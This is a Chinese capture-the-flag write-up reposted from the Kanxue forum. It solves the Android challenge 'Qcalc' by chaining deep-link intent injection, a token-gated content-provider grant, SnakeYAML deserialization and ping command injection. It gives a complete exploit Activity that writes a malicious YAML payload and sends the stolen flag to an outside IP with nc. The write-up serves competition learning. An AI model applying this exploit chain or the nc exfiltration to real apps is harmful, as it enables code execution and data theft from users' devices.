大数跨境
0
0

强网杯2025 Qcalc 解析

强网杯2025 Qcalc 解析 看雪学苑
2025-12-13
10
导读:看雪论坛作者ID:Arahat0

一、分析漏洞

首先是有个Intent注入,APP处理deep link的时候,如果表达式里包含"intent:",就会用Intent.parseUri()来解析。相当于给我们开了一个后门,可以往应用里注入恶意的Intent



BridgeActivity这个组件本来是用来处理异常的,但是它有个问题,验证通过后会给攻击者授予Content Provider的访问权限,我们就可以通过这个来访问目标APP的私有目录,比如我们location /data/data/com.qinquang.calc/flag-xxxxxxxx.txtflaghistory.yml



最后是YAML反序列化漏洞,其实就是CVE-2022-1471


这里用了一个叫SnakeYAML的库来读取历史记录文件history.yml。它直接就把YAML文件里的内容给反序列化了,完全不管里面装的是什么东西。我们可以在YAML文件里放一个的对象,当APP读取这个文件的时候,就会自动创建这个对象,然后执行里面的代码。



这里有个很离谱的PingUtil类,直接把用户输入拼接到ping命令里,完全没有过滤,基本就是命令执行。



二、利用过程

先构造一个恶意的Intent,里面包含了bridge_token(这个token是通过目标应用包名计算出来的)。然后把这个Intent编码后,通过deep link发送给目标应用。


目标应用收到后,发现表达式里包含"intent:",就会解析这个Intent并存储为fallback(备用方案)。


// 首次由用户启动:自动驱动全链路(存fallback -> 触发BridgeActivity)
Stringtoken = computeBridgeToken(VICTIM_PKG);
// 1) 存储回退 Intent(指向本 Activity,并携带 bridge_token)
Intentfallback =new Intent(Intent.ACTION_VIEW);
fallback.setClassName(getPackageName(), ExploitActivity.class.getName());
fallback.putExtra("bridge_token", token);
StringintentUri = fallback.toUri(Intent.URI_INTENT_SCHEME);
Stringexpr = Uri.encode(intentUri);
Log.i(TAG, "STEP1 store fallback, intentUriLen=" + intentUri.length());
Intentdeeplink =new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=" + expr));
        deeplink.setPackage(VICTIM_PKG);
Log.i(TAG, "STEP1 start deeplink to victim (store fallback) -> " + deeplink);
startActivity(deeplink);


然后等一会儿,发送一个除零的表达式(1/0)给目标应用。目标应用计算的时候会抛出异常,这个时候就会启动BridgeActivity来处理这个异常。


// 2) 稍作延迟后触发异常路径进入 BridgeActivity(授予 content://.../history.yml 读写并回调本 Activity)
final Intenttrigger =new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=1%2F0"));
trigger.setPackage(VICTIM_PKG);
// 把 fallback 直接随触发 Intent 一起带上,避免因时序/实例导致 getIntent() 里没有该 extra
trigger.putExtra("fallback", fallback);
trigger.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
trigger.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
final longdelayMs =1800L;
Log.i(TAG, "STEP2 schedule divide-by-zero trigger after " + delayMs + "ms -> " + trigger);
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(new Runnable() {
@Overridepublic void run() { startActivity(trigger); }
}, delayMs);


BridgeActivity检查fallback Intent,验证token,发现没问题,就给了我们Content Provider的访问权限,并且回调我们的应用。



这个时候我们拿到权限后,就往history.yml文件里写入恶意的YAML内容。


if (uriStr.endsWith("/history.yml")) {
// 写入恶意 YAML
Stringyaml = buildEvilYaml("com.attacker""com.attacker.ExploitActivity");
    Log.i(TAG, "STEP4 write YAML begin: \n" + yaml);
try (OutputStreamos = getContentResolver().openOutputStream(dataUri, "w")) {
if (os == nullthrow new IllegalStateException("openOutputStream returned null");
byte[] bytes = yaml.getBytes(StandardCharsets.UTF_8);
        os.write(bytes);
        Log.i(TAG, "STEP4 write YAML done, bytes=" + bytes.length);
    }


如果我们往history.yml写一个对象,那么后续这个history.ymlloadHistory时就会触发反序列化,来执行这个代码。



这个时候我们就可以写入PingUtil类来进行目标APP权限下的命令执行。


其实到命令执行这一步当时很快就做到了,但是怎么利用这个来进行拿flag想了很久,试了很多方案。


由于这题的打远程的过程是,我们上传APK给容器,然后容器自动安装运行,后面就什么都没了。所以说,flag肯定是POC安装运行后发送的,而目标APP是没有网络权限的,那我们只能给我们的POC网络权限,然后想办法让POC去读到目标APP私有目录下的flag,读到flag后直接发给我们服务器就行。


那么我们解决问题的关键就在于,POCAPP怎么去访问目标APP的私有目录。


可以很容易想到的就是,利用BridgeActivity给我们的Content Provider的访问权限去访问,但是这里有几个问题:


我们此时虽然可以利用命令执行去操作flag,比如mv操作,但是没有那种目标APP可以写,同时POC APP又可以读的公用目录。那cat呢,它也只是目标APP去读取,我的POC并没有读到,因为这个命令执行是目标APP发起的,而不是我们的POC。


PS:如果不知道一个APP权限的shell能干嘛,可以run-as切换进去试试


后面突然发现BridgeActivity 是给我授予了对 history.yml 的读写权限的,那我直接把flag的内容覆写到history.yml ,然后读取不就完了?


与之而来的下一个问题就是,在正常的逻辑运行时,loadHistory读取解析并真正执行了我们的覆写命令之后,会执行saveHistory将正常计算重新覆盖 history.yml 


综上结论就是:授权是短暂的BridgeActivity 通过 FLAG_GRANT_READ/WRITE_URI_PERMISSION 临时把 content://.../history.yml 授权给我,这种 URI 授权通常随“这次回调/这条任务链”有效,Activity 结束或进程状态变化后可能失效。所以要在回调同一时序窗口内尽快读取。


文件内容是刚被覆盖的,恶意 YAML 触发的命令先把 flag 覆盖到 history.yml,我需要在“覆盖完成之后、被其他逻辑再次写回/清空之前”读取,才能拿到 flag。这就需要在触发正常计算后稍等一小会儿再读。


那么这个稍微等一小会的就需要我们慢慢去测试。


测试方法也很简单:如果读取服务器收到的内容是我们写入的恶意yml,就说明命令还没执行,间隔太短。如果读取服务器读到的内容是一个正常的计算公式,就说明yml已经二次覆盖掉了,间隔太长,然后测去不断缩小延时的区间就可以了。


当时本地测通了,一开始打远程的时候,我服务器啥回显都没有,后面莫名其妙又有了,过了一会莫名其妙又没了。远程的容器当时还满了,挺搞心态的,远程都打了我半个小时。


// 快速触发 2+2 让受害端执行 loadHistory()->PingUtil
final Intentrun =new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=2%2B2"));
run.setPackage(VICTIM_PKG);
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> startActivity(run), 100);

// 抢时间窗读取同一 grantedUri(本次回调自带授权)
final UrigrantedUri = dataUri;
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> {
new Thread(() -> {
try {
StringBuildersb =new StringBuilder();
try (InputStreamis = getContentResolver().openInputStream(grantedUri);
InputStreamReaderir =new InputStreamReader(is, StandardCharsets.UTF_8);
BufferedReaderbr =new BufferedReader(ir)) {
        String line; while ((line = br.readLine()) != null) sb.append(line);
    }
StringflagText = sb.toString();
    Log.i(TAG, "STEP5 read history.yml:\n" + flagText);
Stringsafe = flagText.replace("'""'\\''");
Stringcmd ="printf '%s' '" + safe + "' | nc 111.229.198.6 6666";
    execShellCommand(cmd, "nc");
    } catch (Exception e) {
    Log.e(TAG, "readInline error: " + e);
    }
}).start();
}, 550); // 就是这个得慢慢测!!!



三、EXP


package com.attacker;

import android.app.Activity;
import android.content.ContentResolver;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;

import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.BufferedReader;
import java.io.OutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.nio.charset.StandardCharsets;


public class ExploitActivity extends Activity {
private static final StringTAG ="Exploit";
private static final StringVICTIM_PKG ="com.qinquang.calc";

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

Intentin = getIntent();
        Log.i(TAG, "LAUNCH in=" + in);

UridataUri = in != null ? in.getData() : null;
if (dataUri == null) {
// 首次由用户启动:自动驱动全链路(存fallback -> 触发BridgeActivity)
try {
Stringtoken = computeBridgeToken(VICTIM_PKG);
// 1) 存储回退 Intent(指向本 Activity,并携带 bridge_token)
Intentfallback =new Intent(Intent.ACTION_VIEW);
                fallback.setClassName(getPackageName(), ExploitActivity.class.getName());
                fallback.putExtra("bridge_token", token);
StringintentUri = fallback.toUri(Intent.URI_INTENT_SCHEME);
Stringexpr = Uri.encode(intentUri);
                Log.i(TAG, "STEP1 store fallback, intentUriLen=" + intentUri.length());
Intentdeeplink =new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=" + expr));
                deeplink.setPackage(VICTIM_PKG);
                Log.i(TAG, "STEP1 start deeplink to victim (store fallback) -> " + deeplink);
                startActivity(deeplink);

// 2) 稍作延迟后触发异常路径进入 BridgeActivity(授予 content://.../history.yml 读写并回调本 Activity)
final Intenttrigger =new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=1%2F0"));
                trigger.setPackage(VICTIM_PKG);
// 把 fallback 直接随触发 Intent 一起带上,避免因时序/实例导致 getIntent() 里没有该 extra
                trigger.putExtra("fallback", fallback);
                trigger.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
                trigger.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
final longdelayMs =1800L;
                Log.i(TAG, "STEP2 schedule divide-by-zero trigger after " + delayMs + "ms -> " + trigger);
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(new Runnable() {
@Overridepublic void run() { startActivity(trigger); }
                }, delayMs);
            } catch (Exception e) {
                Log.e(TAG, "Bootstrap error: " + e);
            } finally {
// 等待 BridgeActivity 回调本 Activity(第二次启动)
                finish();
            }
return;
        }

// 第二次由受害端回调
try {
            Log.i(TAG, "STEP3 callback with dataUri=" + dataUri);
StringuriStr = String.valueOf(dataUri);
            Log.i(TAG, "uriStr=" + uriStr);

if (uriStr.endsWith("/history.yml")) {
// 写入恶意 YAML(受害端解析后将 flag 覆盖写入 history.yml)
Stringyaml = buildEvilYaml("com.attacker""com.attacker.ExploitActivity");
                Log.i(TAG, "STEP4 write YAML begin: \n" + yaml);
try (OutputStreamos = getContentResolver().openOutputStream(dataUri, "w")) {
if (os == nullthrow new IllegalStateException("openOutputStream returned null");
byte[] bytes = yaml.getBytes(StandardCharsets.UTF_8);
                    os.write(bytes);
                    Log.i(TAG, "STEP4 write YAML done, bytes=" + bytes.length);
                }

// 快速触发 2+2 让受害端执行 loadHistory()->PingUtil
final Intentrun =new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=2%2B2"));
                run.setPackage(VICTIM_PKG);
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> startActivity(run), 100);

// 抢时间窗读取同一 grantedUri(本次回调自带授权)
final UrigrantedUri = dataUri;
new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> {
new Thread(() -> {
try {
StringBuildersb =new StringBuilder();
try (InputStreamis = getContentResolver().openInputStream(grantedUri);
InputStreamReaderir =new InputStreamReader(is, StandardCharsets.UTF_8);
BufferedReaderbr =new BufferedReader(ir)) {
                        String line; while ((line = br.readLine()) != null) sb.append(line);
                    }
StringflagText = sb.toString();
                    Log.i(TAG, "STEP5 read history.yml:\n" + flagText);
Stringsafe = flagText.replace("'""'\\''");
Stringcmd ="printf '%s' '" + safe + "' | nc 111.229.198.6 6666";
                    execShellCommand(cmd, "nc");
                    } catch (Exception e) {
                    Log.e(TAG, "readInline error: " + e);
                    }
                }).start();
                }, 550);
            }
        } catch (Exception e) {
            Log.e(TAG, "Exploit error: " + e);
        } finally {
// 等待延时任务完成读取后由系统回收
        }
    }

private static String buildEvilYaml(String pkg, String cls) {
Stringsrc ="/data/data/com.qinquang.calc/flag*";
// 覆盖写入两处:files/history.yml 与 files/flag.txt,然后内部启动 HistoryActivity 触发 load
Stringyaml ="- !!com.qinquang.calc.PingUtil |\n" +
"  127.0.0.1; /system/bin/cat " + src + " > /data/data/com.qinquang.calc/files/history.yml; /system/bin/cat " + src + " > /data/data/com.qinquang.calc/files/flag.txt\n";
return yaml;
}

private void execShellCommand(String cmd, String prefix) {
Processproc =null;
BufferedReaderreader =null;
try {
        Log.i(TAG, prefix + " start: " + cmd);
        proc = new ProcessBuilder("/system/bin/sh""-c", cmd)
                .redirectErrorStream(true)
                .start();
        reader = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        String line;
while ((line = reader.readLine()) != null) {
            Log.i(TAG, prefix + " | " + line);
        }
intcode = proc.waitFor();
        Log.i(TAG, prefix + " exit=" + code);
    } catch (Exception e) {
        Log.e(TAG, prefix + " error: " + e);
    } finally {
try { if (reader != null) reader.close(); } catch (Exception ignore) {}
if (proc != null) proc.destroy();
    }
}

private static String computeBridgeToken(String packageName) throws Exception {
    java.security.MessageDigestmd = java.security.MessageDigest.getInstance("SHA-256");
byte[] hash = md.digest(packageName.getBytes(StandardCharsets.UTF_8));
StringBuildersb =new StringBuilder();
for (inti =0; i < 8; i++) {
        sb.append(String.format("%02x", hash[i]));
    }
return sb.toString();
}

}





看雪ID:Arahat0

https://bbs.kanxue.com/user-home-964693.htm

*本文为看雪论坛优秀文章,由 Arahat0 原创,转载请注明来自看雪社区

# 往期推荐

V8 Bytecode反汇编/反编译不完全指南

静态程序分析之数据流分析(Foundations + LiveVar Analysis Code)续

tt x-gorgon分析

基于Minifilter实现目录保护软件,自定义保护目录,用户可选择是否允许文件行为

一道简单的RE迷宫题


球分享

球点赞

球在看


点击阅读原文查看更多

【声明】内容源于网络
0
0
看雪学苑
致力于移动与安全研究的开发者社区,看雪学院(kanxue.com)官方微信公众帐号。
内容 6594
粉丝 0
看雪学苑 致力于移动与安全研究的开发者社区,看雪学院(kanxue.com)官方微信公众帐号。
总阅读31
粉丝0
内容6.6k